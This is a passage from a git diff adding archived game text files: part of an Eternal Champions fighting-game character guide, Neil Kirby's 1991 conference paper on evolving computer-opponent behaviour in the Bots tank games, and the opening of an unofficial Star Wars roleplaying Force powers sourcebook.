characters, but she does +have some awesome Special Moves. The best of these is the Smoke Screen, since +you can control where you reappear. The pattern is very easy to remember: + + upper left: X + Y Y + Z :upper right + lower left: A + B B + C :lower right + +Most of the time, you can catch your opponent in the air with one of the upper +positions, and you'll damage them almost every time. For the remainder of the +guide, I'll just say "Smoke Screen", but this means to follow with one of the +above re-entry positions (the uppers are best, since you appear doing a kick). +Another useful move is the leaping A, since it will give you "extra air" and +can get you out a close spot very quickly. + + vs. Blade: + + Leaping C! That's about it. Fighting Blade is very much like Midknight. +Other than the leaping C, Flying Mines and Smoke Screens keep things +interesting. If you corner him, give him a Throw. + + vs. Jetta: + + Jump away at the start of every match. Let her Phase, and do a leaping C. +Repeat! Most of the time, you'll meet her at the top and win. If she jumps in +close, do a quick throw. You might as well, because if she does her Flurry +Kick, you can't block it anyway! Starting with a Shadow Mode isn't always very +effective since she moves around so fast it's hard to catch her. If she tries +a Choke Hold, do a Smoke Screen and wham her from behind. + + vs. Larcen: + + Play defensively against Larcen. He can hurt you in a hurry if you let him! +Keep your distance, but counter his offensive moves. If he does a Ceiling +Crawl, counter with a leaping C, or a Flying Mine if you're quick. A Smoke +Screen can also knock him off the ceiling. When Larcen calls you a Punk, +throw a Flying Mine at him. Counter a leap with a leaping Y and a Power +Sweep with a leaping C. + + vs. Midknight: + + You can win with only the leaping C!!! This fight is best kept in the air, +because Midknight will do that annoying Wall Smash otherwise. Don't throw +projectiles either because he will just get all Misty. The Smoke Screen is +also fun, and use a Throw if you get cornered. And don't use the Twirling +Fan Attack - he'll jump over it and attack from behind. + + vs. Rax: + + The toughest for me! (maybe because Rax is my main character). I like +to start with a Shadow Mode, and quickly hammer away with Y and Z punches. +Do a jump A (straight up) when he does his Jet Knee Smash (zooms across the +screen). If you are at one end of the playing area, he will stop right next +to you, and you can get 2 Throws in a row! (hold F and keep hammering on Z). +Use Smokes to catch him in the air, but don't do it when Rax is on the +ground, or you'll get thrown. Counter leaps with a leaping Y or Z. + + vs. Slash: + + Slash is a sucker for Flying Mines! 80%-90% they'll get thru - and they'll +always get thru if you can catch him doing a Running Head Butt. When he tries +a Power Thud, either leap in with Z, or Smoke to the side he's on. Starting +with a Shadow Mode (see Trident's description) also works well. Slash doesn't +jump much, but if he does, leap back with C. + + vs. Trident: + + Start every match with a Shadow Mode, get over to him fast, and hit him +repeatedly with Y and Z. If you're quick, you can do about 40% damage before +you come out of it! Trident loves to jump, and that's a fatal mistake when +playing against Shadow. Do a Smoke, then appear in the upper corner that +he's facing. Whamo! Flying Mines are also great if you can catch him in +the air. If cornered, Throw. + + vs. Xavier: + + Xavier is tough - he blocks everything. Like Trident, start every match with +a Shadow Mode. After that, just wait for him to try a spell, and either leap +over and kick him before he gets it off, or do a Smoke Screen and pound him +from an upper corner. Flying Mines only work against leaps, which he doesn't +do very often. + + vs. Champion #1: + + This guy is a lot like Blade. Use lots of leaping C's and Smoke Screens +to keep him off balance. If you move away from him, he'll go invincible or +throw the 5 "power balls". Don't give him the opportunity. + + This is about as far as I've gotten with Shadow - I'll fill in more as +I get better, or if I get some good tips that pan out. Good luck! + + vs. Shark Champion: + + vs. Eagle Champion: + + vs. Tiger Champion: + + vs. Dragon Champion: + + + Slash's Character Guide + by David DAuria + General Info: + + First of all, he's kind of slow. That's o.k. since he has one main +advantage: the club. The club gives him two main advantages: A long +reach and lots of power to damage with. + Now, here's some tips and tactics. First of all, learn to do the +ground thump.(That's y+z. He jumps way up into the air and drives his club +into the ground) It maybe be the slowest stunning move in the entire game, +but if your opponent is on the ground when you land he will be stunned. +(Even if he blocks. I'm not too sure how well this works on humans since +they'll probably try to knock you out of it instead of blocking. It may +be possible to fake a ground thump by jumping straight up and then just +knock them out of the sky as they try to prevent a thump that's never going +to come) This move is very effective when the computer is far away.(At mid +and close range, the computer will probably knock you out of it. This is +especially true of Jetta and Shadow. Their speed and jumping power make +this quite a dangerous move to attempt so be careful with it against them) +Another thing is that Slash is quite effective in up close battle. Just pound +away with your club, doing y and z shots. What's even better up close is his +"Batting Practice" throw. This is probably the easy throw to get started. +It a good idea to try to get in close for this throw, since you will be +successful quite often.(You do have to time your swing when your opponent +comes down. When they're about waist high is the right time to swing for +the fences.) Also, it seems to do more damage than any other throw.(These +2 factors are probably there to make up for the fact you have to time your +swing. BTW it's really a bad thing when you miss. Slash becomes so suprised, +He's stunned!) In the air, Slash has his z club swing. The good thing +about this is that if you jump back and do this, you reverse directions +and move toward your opponent. This can suprise many an opponent and +is quite damaging and effective. Finally, he has his declaw move. +He basically shoots a projectile at an opponent. I use this to keep +an opponent on his toes.(I'm not sure if this move can be used in a combo +or not) + Now, I'm not sure if Slash has any true combos. It seems that hitting +your opponent with y then z maybe a combo. He does have the thump and throw +combo.(Not a true combo but it is effective if timed right.) Basically +You stun your opponent with the thump. You then go for his throw.(And don't +miss it, against trident you'll probably lose if you miss) After you +hit him, go for another thump so that you land just after he gets up. +(You'll stun him and get to throw him again) Just keep this up as long +as you can.(Of course, if you throw him or her first, then go for the thump +when the get up trick.) + vs. Blade: + vs. Jetta: + vs. Larcen: + vs. Midknight: + vs. Rax: + vs. Shadow: + vs. Slash: + vs. Trident: + vs. Xavier: + vs. Champion #1: + vs. Shark Champion: + vs. Eagle Champion: + vs. Tiger Champion: + vs. Dragon Champion: + + Trident's Character Guide + by Ryan D Hose + + General Info: + + Basically, he's a kicker. Use the strongest jumping kicks (jump and C) and +sweeps (Down and C) for most of the moves. But keep your finger on Z for +fireballs and flips. Awesome Combo - IS must be at full strength (or off). +Lob a fireball, and if it hits, continue. If not, don't. When the fireball +connects, walk up to your dazed opponent and do a Spinning Trident (XYZ). +Then, as soon as the person falls back, lob another fireball, which will hit. +Walk up, and throw your opponent. Then walk up and do a foot sweep. +Guaranteed to take off 80% of their energy. + + vs. Blade: Same as Midknight. + + vs. Jetta: + + She was hard for a while until I realized something. If she +is just standing there (non-phased) you can jump towards her and do +either a kick (C) or hit (Z) and she'll jump into it every time. Watch +out when she's phased though, just turn on the stun shield and then do +the jumping again. + + vs. Larcen: Same as Midknight. + + vs. Midknight: + + Just keep jumping at him and then try two or three sweeps. If none of +them knock him back, jump back and block before jumping back towards him. + + vs. Rax: Same as Midknight. + + vs. Shadow: + + Jump back in the very beginning and wait for her to do one of these things +and react accordingly: + Throws shurkien, knife, bomb, star: Stand and Block + Jumps in the air towards you: Jump back + Jumps in the air towards you, then goes higher for a kick: Jump back, + and as she comes down, hit hard kick (C). + Teleports: Wait a second, then jump straight up and hard kick (C). Hit + the ground pressing down and (C) several times, then jump back. + Somersaults toward you: Fireball, then combo. + Anything else (rare): Back off and wait for one of these things. + + vs. Slash: + + Same as above, but watch out for thorns. Also, wait to jump at him until +he tries to do a ground pound. You can really mess him up that way. + + vs. Xavier: + + Keep a jump distance away from him. When his staff raises as he's about to +perform a move, jump in and kick (C) him, then sweep two or three times. The +sweeps probably won't land, and you might get thrown, but in the end you'll +win. If he keeps coming at you as you stay a jump distance away, lob a +fireball at him and then jump towards him with a kick (C). + + vs. Champion #1: + + Jump kicks work best. Use Jetta's pattern. + + vs. Shark Champion: + + Same as First, but beware the bubble he throws and the Electric Fin. + + vs. Eagle Champion: Same as Tiger. + + vs. Tiger Champion: + + Same as Jetta, but use fireballs sometimes too. Stun shield is good here. + + vs. Dragon Champion: + + The toughest one. Use stun a lot. Don't try to jump kick him - he's +too fast. + + + Xavier's Character Guide + by Jason Adams + + General Info: + + + vs. Blade: + + Same opening round instructions as for Jetta. This sucker always jumps! +His jump is too slow to get him over the Spinning Cane Attack, but if for some +reason he does get over it, and comes in with his lightning bolt, you're in for +a world of hurt. You'd better block like nobody's business. The snake does +quite nicely against his shield. + + vs. Jetta: + + Ever noticed how pissed someone gets when they're going for a ceiling grab +and you do the switch thing on them? Very easy to cheese Jetta. If you can +throw her once, then you can just walk up and throw her again and again while +she's getting up. Always start out a first round against a computer Jetta with +a jumping fierce punch. She always jumps first thing first round. Second +round she phases first thing. Jump in again, again with the fierce punch (to +guard against the freak occurence of something other than her Phasing). She'll +block it as you're coming in. This situation screams THROW!!!!! That'll knock +her out of phase. The rest is cake. + + vs. Larcen: + + Can be a problem if you let him. If he does the Ceiling Crawl a forward jump +in conjunction with a fierce punch will dissuade him from doing anything else. +If he is coming down the same will work, but if you're that late in doing it +you're probably not quick enough to jump before you're hit. The light punch +works well on larcen, as well as the light kick. They also work well in +tandem. + + vs. MidKnight: + + Well, what can I say? This guy's a sucker for the Spinning Cane Attack. +I think that the fierce punch borders on cheese when fighting MidKnight. In +a fight with everyone's fav. vamp. stay mid-range. Don't get close, because +he's got the crouching double punch and a wide variety of other totally +devastating moves from the inside. Using Xavier I have a lot of luck throwing +MidKnight right after he comes out of the Wall Smash. And that's the only +thing the Spinning Cane Attack can't stop. + + vs. Rax: + + Don't stand near Rax when you knock him down, or it's throw-slam city. +Otherwise, his sliding crouching punches and kicks are best met with a medium +crouching kick right after your block. I don't usually use the fierce punch +in this situation for one reason. If the first hit knocks rax down, then he's +gonna throw you through the second hit. The cyber kick and punch are painfully +obvious from the telltale sound and windup, so they're no problem to avoid. + + vs. Shadow: + + It's basically just a game of keep-away. Make sure you stay clear of her at +all times. The standard wait a couple of seconds and then jump routine works +when she has disappeared, but I would also say to use a jumping (fierce?) +punch, the one that helicopters the staff above your head. This way when she +comes from the top corners of the screen she'll catch a staff in the legs. +For her cartwheel thing, charge a snake in the air while jumping over her. +If not, the Spinning Cane Attack always hits for some damage when you land. + + vs. Slash: + + You don't even have to be awake during this fight!! Slash is one of the most +pitiful players EVER DEVELOPED against someone with a long-range attack. Using +Xavier's Spinning Cane Attack, you shouldn't even get scratched. He shouldn't +get closer than a cane's length. You can also win by just pressing Z over and +over. Doesn't matter, he's dead either way. + + vs. Trident: + + There are two big dont's against Trident: + 1) Don't ever let him get in close. + 2) Don't ever eat a plasma ball. + You can't stress these enough. Let number two happen with a player who knows +what he is doing and you are DOL (dead on landing). Stay medium range so that +a Spinning Cane Attack can cancel a fireball, but don't eat one at medium range +or even a novice can get in and do the grand-slam. Don't jump. Don't rush in. Don't do anything except press the fierce punch, jump straight up and press the +fierce punch, or jump forward and press the fierce punch in response to +Trident's moves. + + vs. Champion #1: + vs. Shark Champion: + vs. Eagle Champion: + vs. Tiger Champion: + vs. Dragon Champion: + + ETERNAL CHAMPIONS MISCELLANEOUS NOTES + ----------------------------------------- + + 1) Yes, the computer cheats. The most obvious form of cheating is when + the CPU performs Special Moves when it has NO Inner Strength. Some + also believe that it cheats by blocking player attacks more effectively + than possible, and by "breaking through" player's valid blocks. But + these are difficult to prove. Sega only admits to I.S. cheating. + diff --git a/textfiles.com/games/evolut~1.txt b/textfiles.com/games/evolut~1.txt new file mode 100644 index 00000000..8994efa8 --- /dev/null +++ b/textfiles.com/games/evolut~1.txt @@ -0,0 +1,392 @@ +From: nak@cbnews.cb.att.com (neil.a.kirby) +Newsgroups: rec.games.programmer +Subject: LONG: Intelligent Computer Play -> Paper +Date: 24 Jul 91 15:08:10 GMT + +The following paper was given at the 1991 Computer Game Designers +Conference. + +Copyright 1991 Neil Kirby +All rights reserved. + + +Intelligent Behavior Without AI: +An Evolutionary Approach + +Copyright 1991 Neil Kirby + +Introduction +This paper describes a way to give intelligent behavior to computer +operated objects. It traces the evolutionary approach used in the "Auto" +program of the "Bots" family of games. The Bots system is described to +provide a context, and the results of each step in the evolution are +discussed. While the changes made are particular to the Auto program, +the method is applicable to other programs. The fundamentals of the +method are: + 1. Analyze good and bad behaviors. + 2. Quantify parameters to new algorithms. + 3. Apply constant evolutionary pressures by repeatedly testing. +The method has proven to be quite successful. The Auto program has +progressed from hopelessly poor play to well above average play skills +without any formal AI methods. + +The Basic Approach +The basic approach greatly resembles classical Darwinistic evolution. +Start with simplistic behavior, however bad. Simple behavior is best +described as whatever is easiest to code. Analyze the failures of the +simple methods. If available, observe the differences between successful +behavior, especially that of human players, and the failures of the +computer players. The most difficult step is to identify the parameters +that can be used to control successful behavior. Once this has been +done, use regular code to allow the program to react to these parameters. +The process is completed by repeatedly testing in play. The ease of fast, +repeated play afforded by computerization accelerates the process. This +approach is easily observed in the Auto program. + +The Bots Family of Games +The Auto, Aero, and Bots programs make up the Bots family of +multiplayer, tactical ground and air combat games. These run under the +Unix System VTM operating system and are written entirely in the C +programming language. Bots and Auto deal with futuristic ground combat +units loosely comparable to tanks while Aero deals with flying futuristic +aircraft. The Bots and Aero programs are used by human players and +Auto is the computer managed equivalent to Bots. The Bots family of +games supports but does not require team play. + +Since the Bots family are multiple player, multiple process games, events +are performed simultaneously. A unit can find out the actions of other +units only after committing its own actions. The events that make up a +turn are motion, followed by active fire, and ending with passive fire. After +every ten turns, repair and resupply are made available to a unit. The +manner in which a unit conducts its motion and fire are strongly +influenced by the construction of the unit. + +Building a Unit +The units used in Bots and Auto are built according to the tastes of the +player running them. A unit has six armor facings protecting its internal +systems from damage. Armor is ablative; each point of damage reduces +the amount of armor by one. Once a given armor facing is reduced to +zero, all remaining damage is applied to the internal systems. There are a +number of internal systems to protect: life support, control, chassis, +reactor, batteries, hardpoints, weapons, and ammunition. Each has a +cost and weight associated with it, forcing economic compromises to be +made to build a unit to meet a given cost. The mobility of a unit is based +on the amount of power available and the current mass of the unit, both of +which can change in play. + +Weapons +There are a variety of weapons systems available, each with different +characteristics. Weapons that require ammunition usually need little +power while power-based weapons require much more. The lasers are +relatively light in mass, short-range, and power hungry. Mortars have a +minimum range and require heavy ammunition, but they also have a long +maximum range and do not require line of sight to fire. Autocannon inflict +moderate damage to moderate ranges, but they too, require a large +amount of moderately heavy ammunition. Miniguns are lighter, smaller, +short-range versions of the autocannon. Missiles have varying ranges +and warheads, but they can be shot down by point defenses, and they too, +are heavy. Particle beam weapons are highly effective in a narrowly +focused range. Aside from mortars, missiles, and particle beams, most +weapons improve as range shortens. + +The non-offensive weapons systems are stealth, missile defense, and +hardpoints. Stealth, which is expensive, allows a unit to approach others +and remain unseen. Missile defense attempts to shoot down incoming +missiles. + +Hardpoints are mounts for optional, single-shot items. The most common +hardpoint load is a jump pack. Jump packs allow a unit to jump over +obstacles such as water. They increase the mobility of a unit greatly but +can only be used once. The other common hardpoint load is an anti- +aircraft missile. + +Play Balance (Rock, Paper, Scissors) +The selection of a weapon determines much about the unit. Units with +long-range weapons usually require heavy ammunition. Their great +weight means limited mobility. Limited mobility implies an inability to +escape from units with high mobility and short-range weapons. It is +axiomatic that short-range weapons require high mobility. Therefore, +short-range weapons must be light to be effective. These trade-offs are +required for play balance among a wide diversity of systems. Mortar +units, for example, were popular on teams but few people actually wanted +to play them. + +To be successful in play, a unit must maneuver effectively, fire its +weapons, and evade enemy fire. It should distribute enemy fire across +multiple armor facings. If team mates are present, a unit should +coordinate fire among the team members to combine fire against single +enemy units. If a unit takes damage, it should flee until it is repaired. The +richness of detail in the Bots family of games is comparable to that of Star +Fleet BattlesTM. + +Auto units are not allowed to cheat, so the behavior code cannot access +information that a human player in the same situation would not have. The +advantage of access to hidden data was considered at first, but has +proven to be unnecessary. No Auto program was written for Aero units. +The success of Auto units on the ground removed all demand for an Auto +equivalent to Aero. + +The Original Algorithm +The original algorithm for Autos was quite simple. The closest enemy unit +was selected as the target. All other units were ignored. The Auto turned +to face the enemy and attempted to close. (See Figure 1) After +maneuvers were complete, the unit attempted to fire its weapons. The fire +target was the closest enemy within the arc of the weapons fire. The unit +would not flee if damaged. The unit would not jump unless blocked by +water, buildings, or steep slopes. + +Spreading Out Damage +There were many failures with the original algorithm. Foremost among +these was the propensity for the unit to lose its center forward armor and +take severe internal damage while the left and right forward armor facings +were pristine. The solution to this problem was for the unit to shorten the +amount it moved to save sufficient mobility to rotate after its motion. (See +Figure 2) This rotation would bring the strongest forward armor to face +the closest enemy unit. Relative bearing and the integer values of the +forward armor were the parameters that enabled this change, which +typically tripled the survival of all units. It especially allowed units with +short-range weapons to close to their effective ranges. This algorithm +became known as the basic closure code. + + +Self Assessment +The modified algorithm still had major problems. During a long closure, a +unit would loose all three forward armor facings, continue closing, and +take fatal internals. The fix involved self assessment. Before a unit +started maneuvers, it would evaluate the state of its forward armor, +internal systems, and ammunition. If all three forward armor facings were +below minimum, half of any internal system was destroyed, or if +ammunition was gone, then the unit would declare itself to be unfit for +battle and flee. It would turn its strongest rear armor toward the closest +enemy and move as far away as possible. This is just a slightly modified +version of the basic closure code. If the unit had a jump pack available, it +would jump as far away as possible. It would choose not to shoot power +based weapons to save energy for mobility. The parameters for this +change were simple integer numbers: armor, systems, and ammunition +counts. This change increased the long term survivability of the Auto +units greatly. After it, destroying a unit often required a long chase. In +rolling terrain, enemy units would simply disappear when they were +seriously damaged. + +Battle Range +At this point, Auto units were interesting but not threatening. Their +maneuvers were highly predictable. At point blank range a unit would +close to zero range and stop. Since all motion in Bots is simultaneous, +human players would simply move forward and turn around, finding +themselves at near zero range facing the back of the Auto unit. Fatal +internals for the Auto unit often soon followed. For long-range units such +as mortars, and specific range units such as particle beam weapons, +continuos closure was especially counter-productive. Mortar units have a +minimum range requirement, and care very little about range otherwise. +In the laser family, where closure improves damage, closure also gives +the advantage to the lightest and shortest ranged lasers. The fix was to +establish a battle range (known as BRG) for each weapon type. The +parameter used with BRG was range. + +BRG numbers were tuned during play. While many weapons benefit from +close range, BRG was picked to balance survivability and the ability to +inflict damage. Long-range units would prefer to stay at range, denying +short-range units any fire. If a unit found itself too close, it would back up +as much as it could. Yet backing up costs twice as much as forward +motion. BRG helped to keep the long-range support units out of trouble, +and it helped all units survive combat with a short-range unit. Short-range +units were still too predictable and easy for human players to destroy. +BRG was the evolutionary step that set the stage for a major milestone in +Auto evolution. + +The First Major Milestone Change: New Maneuver Code +The problem with the maneuver code was predictability. The new +maneuver code dealt with the answers to two questions: "Where can a +unit go?" and "Where does a unit want to go?" The first question is +answered by computing the mobility of a unit, which is based on its power +and mass. The unit can get to roughly any point within a circle, centered +on the unit, of radius equal to the mobility of the unit. When computing the +radius of the mobility circle, sufficient mobility is deducted from the radius +to provide for turns. The second question is answered by BRG. If the +target does not move, the most effective place to be is some place on a +circle, centered on the target, of radius BRG. (See Figure 3) If the two +circles do not intersect, the existing basic closure code is used. If the +circles intersect, there are three possibilities. + +The first possibility is shown in Figure 4. This is the most dangerous case +for the target, and the best case for the attacker. This situation is most +often seen when a high mobility unit carrying short ranged weapons +attacks. The unit will pick a random point on the BRG circle, move to it, +and turn to face the target. For the target to evade, it must either move far +enough to get out of range, or it must move behind the random point on the +BRG circle where the attacker will appear. Neither of these evasions is +easy. The first requires good mobility, and the second requires good luck. +If the target does move far enough away to deny weapons fire, the +attacker will have more power available to move in the next turn. + +The second possibility is shown in Figure 5. This is a good case for any +attacker. This situation is most often seen when a medium or high +mobility unit carrying medium-range weapons attacks. The unit randomly +picks one of the two intersection points, moves to it, and turns to face the +target. Only a target with more mobility than the attacker will be able to +out maneuver the attacker. As Figure 5 moves toward Figure 4, the +attacker becomes nearly impossible to evade. + +The third case is shown in Figure 6. The mobility circle is inside the BRG +circle, which means that the attacker is too close. This is usually the +case when a low mobility unit carrying long-range weapons is closer than +desired to an enemy unit. Here the unit determines if it would get farther +away by backing up, or by turning away, moving forward, and turning again +to face the target. It chooses the way that takes it farthest away and +executes that maneuver. + +BRG and computed mobility, the parameters of the change, are combined +in an effective algorithm. The effect of the first milestone change was +dramatic. Attacking units were much more effective (fleeing units were +unaffected). Human players could no longer destroy Auto units without +pause. Close combat maneuvers became very dicey. Novice players had +less than a 50% chance of winning a one-on-one duel. In single combat, +Auto units played a solid, if uninspired, game and they never made stupid +errors. + +Initial Team Play: Communications +The team play of Autos still lacked a great deal - they fought as a mob, +rather than as a team. Any unit that could see no targets would pick a +random patrol point on the map and head toward it. This scattering +behavior was good for finding hidden enemy units, but poor for fighting +enemy teams. If one unit on a team was engaged, the rest of the team +would ignore the combat unless they too could see the target. Evolution +continued, as Auto units learned basic communications skills. A unit that +could see no targets would ask its team for targeting information. The +other units (Aero, Auto, and Bots) on the same team would reply with the +map coordinates of the targets that they could see. These coordinates +could be used the next turn to plot motion. Units that did not require line- +of-sight to fire, such as mortars, would fire blindly on the map coordinates +given. The effects of this change were two-fold. It allowed high mobility +units carrying short-ranged weapons to close upon enemy units that they +could not see. This meant that once an enemy unit was spotted, all +unoccupied Autos would head toward it, even in rolling terrain. The +second effect provided mortar teams with something productive to do. +Communicating map coordinates proved to be an effective change. To +the enemy units, it meant to expect mortar fire whenever spotted by any +member of the Auto team. A particularly nasty combination was to be +stalked by an unseen stealth unit that was broadcasting coordinates to its +mortar teammates. This change tended to keep mobs of Autos together, +but they still fought as a mob. + +The Second Major Milestone Change: Improved Team Play +Targeting was still based on the closest enemy that could be fired at. In +team play, a lone unit could distract part of a team of Autos and play Pied +Piper while the rest of the Piper's team destroyed the other part of the +Auto team. The Piper might not survive, but while it was being destroyed, +multiple enemy units would be destroyed, tipping the battle against the +Autos. The second milestone change increased team play. Team play +was based on the concept of the team target. The enemy unit that +appeared to be hurt the most would be designated as team target. This +designation was based on the volume of fire an enemy had absorbed. The +team target would always be the preferred target for motion control. If the +team target was between the minimum and maximum effective range for +the weapons fired, it would be the preferred target for fire as well. The +results were often devastating and occasionally quite strange. The +devastating part stemmed from the fact that a single unit, often already +damaged, could now take all the mortar, long-range missile, autocannon, +and much of the short-range laser fire that an entire team could inflict. +The strange part would happen when an Auto unit would move directly +past and ignore a closer target in order to help destroy the team target. +But if the team target were not a viable target, each unit would fire as +before, usually at the closest target. + +Mishaps in team play were now fatal. Teams of experts were now doing +well to achieve a kill ratio of 2.5:1 in favor of the experts. Novice teams +required two to five times numerical superiority to win. The parameters +used had been developed in earlier stages of evolution. + +Attack Jumps +Evolution continued as details were refined to solve minor problems. One +problem was that Autos would only use a jump pack to flee or to cross +water. This meant that they would often have an unused jump pack at +reload time, when a new jump pack would be available. The fix was +simple; units still carrying a jump pack that were near their reload time +would be free to jump to increase their mobility. The parameter used was +the unit's turn counter, which already existed. This change made it +dangerous to rely on predictions about the mobility of an Auto unit. A fast +moving unit that had been moving four ranges per turn would suddenly +jump eight and move four more for a total of twelve ranges of motion when +only four were expected. + +Dealing With Aeros +The final changes involved dealing with Aeros. Bots and Autos usually +move one to four ranges per turn. Aeros need to move at least ten to +retain airspeed, and speeds of twenty to fifty are normal. Normal altitudes +for Aeros typically run from eight to twenty ranges of altitude. The first +problem Aeros created was that Autos would attempt to set up motion +based on an Aero target. Since the motion algorithms are optimized for +non-moving targets, using an Aero to set up motion was ineffective for +units with a short BRG. It was ineffective for units with a long BRG if the +Aero was close by, since the bearing of the Aero would change +dramatically. Even if perfect predictive algorithms were available, only +units with a long BRG have sufficient range to hurt Aeros at altitude. The +important changes were range based. All units that had a BRG of 25 or +higher would prefer any visible enemy Aero to all other targets for fire and +motion. Units with lower BRG would ignore Aeros when plotting motion, +but if an Aero was somehow in acceptable range, it would be the preferred +fire target. At reload time, Autos remembered if they had seen any Aeros +since last reload and changed their hardpoint weapons mix to prefer anti- +aircraft missiles. The changes decreased the survivability of Aeros +greatly. Aero targets were preferred even to team targets, often with the +same deadly results. The much-maligned mortar units provided greatly +needed flak fire. Other less popular long BRG units gained a new role. +Also, the advent of the stealth anti-aircraft missile battery eased the +problems ground units had with Aeros. + +Future Evolution +There are still several deficiencies with the Auto program. Complex +terrain tends to mystify Autos, especially urban terrain and bridges. An +Auto unit will occasionally present weak or down armor toward one enemy +while fighting another. This single mindedness also shows up when a +damaged unit flees. Motion directly away from the closest enemy, which +is always correct in one-on-one, can be fatal when intermixed with an +enemy team. + +Observations About The Process +Many observations are worth examining. The first of these is that the +process of analysis and synthesis is regenerative. The initial BRG +change set the stage for the first milestone change (maneuver code). +BRG also led to min/max range, which when coupled with +communications led to the second milestone change (team play). Some +of the other analysis that went on made it possible and more probable that +algorithms could be generated to improve poor behavior. + +Not as obvious in the paper is the fact that intensive testing helps drive +the process. The entire evolutionary cycle mentioned above took place at +lunchtimes over the course of a year. The testing allowed the author to +observe human behavior in order to model it, and it clearly showed any +deficiencies in the algorithms. + +One very hopeful point is that simple methods often suffice. The long +closure code and the code for flight is simple but has proven to be very +effective. The early code, which had numerous deficiencies, was still +interesting and fun. Between the first and second milestone changes, +there was, occasionally, the semblance of team behavior by default. If a +given enemy unit was the best or only target available to a team, the entire +team fired upon it. In rolling terrain this would be fatal as one unit +encountered groups of enemy units. + +A final point is that the code is well behaved. It is small, runs rapidly, and +is easy to follow. The behavior control parts of the code do not require +any extensive calculations. The code is short, with only two files. In fact, +the Auto program has less source and a smaller executable than the Bots +program. The increase in size from automation is more than offset by the +reduction in size gained by deleting the user interface. The control flow of +the code is relatively easy to follow, and therefore easy to modify. + + +Conclusions: +The evolutionary method is a viable alternative to exploring AI +methodologies. The method is universally available to programmers who +have sufficient time for repeated testing. It is well suited to game +programs in which the computer and human players deal with the same +objects and information - - the programmer can model computer behavior +on successful human behavior. The method fails when the programmer +cannot identify the keys to changing poor behavior and the default simple +methods are ineffective. For the multiplayer, tactical combat games that +this author has written, the methods have produced effective code that is +fast, compact, and often pleasingly simple. + + TM UNIX is a trademark of AT&T Bell Laboratories. + TM Star Fleet Battles is a trademark of Amarillo Design Burea. diff --git a/textfiles.com/games/fsb.txt b/textfiles.com/games/fsb.txt new file mode 100644 index 00000000..f63a03ad --- /dev/null +++ b/textfiles.com/games/fsb.txt @@ -0,0 +1,394 @@ + +THE +FORCE +SOURCEBOOK + +for use with the + +STAR WARS +ROLEPLAYING GAME +2nd Edition + + +(Star Wars is a regisetered trademark of Lucasfilm Ltd. 1992 +Lucasfilm Ltd. owns all copyrights and trademarks in the following file. +Trademarks of Lucasfilm Ltd. used by West End Games under authorization. + The following is an unofficial document, not approved by Lucasfilm +Ltd. or West End Games.) + + +CONTROL + +The ability to control one's own inner Force. A Jedi with this skill +learns mastery over the functions of his own body and harmony with +nature. A character who learns control automatically learns three +control Force powers. + + +Absorb/Dissipate Energy + + Control Difficulty: Sunburn - Very Easy; intense sun - Easy; +solar wind - Moderate; radiation storm - Difficult. Characters may use +this power for energy attacks, such as blaster bolts and force lightning +- the difficulty is Moderate plus the damage roll of the attack. + + The power may be kept "up" as long as the source of energy is +constant - it may not be kept "up" for blaster bolts or Force +lightning. + + Effect: This power allows the Jedi to absorb or dissipate energy, +including light, heat, radiation and blaster bolts. A successful +control roll means that the energy is dissipated. If the user fails +the roll, he takes full damage from the energy. + The character must activate the power in the same round to absorb +the blaster bolt or Force lightning - the character must be able to roll +the power before the attack lands. He can't use the power after the +attack has hit. + + +Accelerate Healing + + Control Difficulty: Easy for wounded characters, Moderate for +incapacitated characters, Difficult for mortally wounded characters. + Time to use: One minute + Effect: If a Jedi uses this power successfully, He may make two +natural healing rolls for the current day regardless of his injury. He +gets a +2 modifier to his roll for both rolls. +Control Pain + + Control Difficulty: Very Easy for wounded characters, Easy for +incapacitated characters, Difficult for mortally wounded characters. +The difficulty for stunned characters is Easy if the character has not +fallen unconscious and Moderate if he has. + Effect: A wounded Jedi who controls pain can act as if he has +not been wounded, starting with the round after the roll is made. His +wound is not healed, but it is ignored(no die roll reductions). He +still needs to receive medical treatment as soon as possible A Wounded +character who control pain and is wounded again becomes incapacitated. + Characters who use control pain to shrug off the effects of stun +damage eliminate the effects of the stun entirely. + If a Jedi is in pain for a reason other than a wound, this skill +can be used to ignore the pain and function normally. This power can be +kept "up." + + +Detoxify Poison + + Control Difficulty: Very easy for a very mild poison (alcohol); +Easy for a mild poison; Moderate for an average poison; Difficult for +a virulent poison; Very Difficult to Heroic for a neurotoxin. + Time to use: Five minutes + Effect: This power allows a Jedi to detoxify or eject poisons +that have entered his body. If the Jedi makes the power roll, the +poison doesn't affect him. + + +Emptiness + + Control Difficulty: Moderate + Note: Characters who are consumed by the Dark Side of the Force +may not use this power. + Required Powers: Hibernation trance + Effect: The user empties his mind and allows the Force to flow +through him. The character seems to be in a deep meditation, and a +character experiencing emptiness is oblivious to his surroundings. A +character in emptiness may not move or take any action except to try to +disengage from the emptiness. + While in emptiness , a character is difficult to sense or affect +with the Force. When another character attempts to use a Force power on +a character in emptiness , add the meditating character's emptiness +roll to the difficulty for the other character's sense or control +rolls (this affects only the sense roll; if the power doesn't use +the sense skill, then add the difficulty to the control roll). This +difficulty is added regardless of whether or not the empty character +would be willingly receive the power's +effect. + Once the character comes out of emptiness , the character gets a ++6 bonus modifier to all Force skill rolls for a period of time equal to +the amount of time the character spent in emptiness . This bonus is +reduced by 1 for each Dark Side Point that the character has. + When in emptiness , characters dehydrate and hunger normally - +some initiates have died because they lacked enough control to bring +themselves out of emptiness. + When a character enters into emptiness , the player must state +for how long the character will be in meditation. A character must make +a difficult control skill roll to bring himself out of emptiness ; the +character may attempt to come out of meditation under the following +circumstances: + + * When the stated time has passed. + + * Once each hour beyond the original time limit. + + * The character's body takes any damage more serious than stun +damage. + + +Enhanced Attribute + + "And suddenly Luke was gone, a single leap taking him to the +top of the X-wing..." + + Control Difficulty: Moderate + Effect: A Jedi uses this power to increase a single attribute for +a limited amount of time. An increased attribute can help a Jedi jump +higher, dodge quicker, see better, and run faster. All skills +controlled by the enhanced attribute are increased by the appropriate +amount for as long as the power is in effect. + + + An attribute increased by this power remains enhanced for the +duration listed below. Duration and attribute increase is determined by +how much a character's control skill roll beats the difficulty number. +Duration can be extended through the use of character points - for every +character point a Jedi spends after invoking this power, the duration +is extended by one combat round. The points can be spent at any time +before the power fades. + A Jedi can only increase one attribute at a time. If a character +invokes the power to enhance a second attribute while the first +attribute is still enhanced, then the first enhancement fades and the +second attribute receives the benefit. + +Skill roll Beats Attribute + Difficulty By Increase Duration + + 0-13 +1D 3 rounds + 14-25 +2D 2 rounds + 26+ +3D 1 round + + +Hibernation Trance + + Control Difficulty: 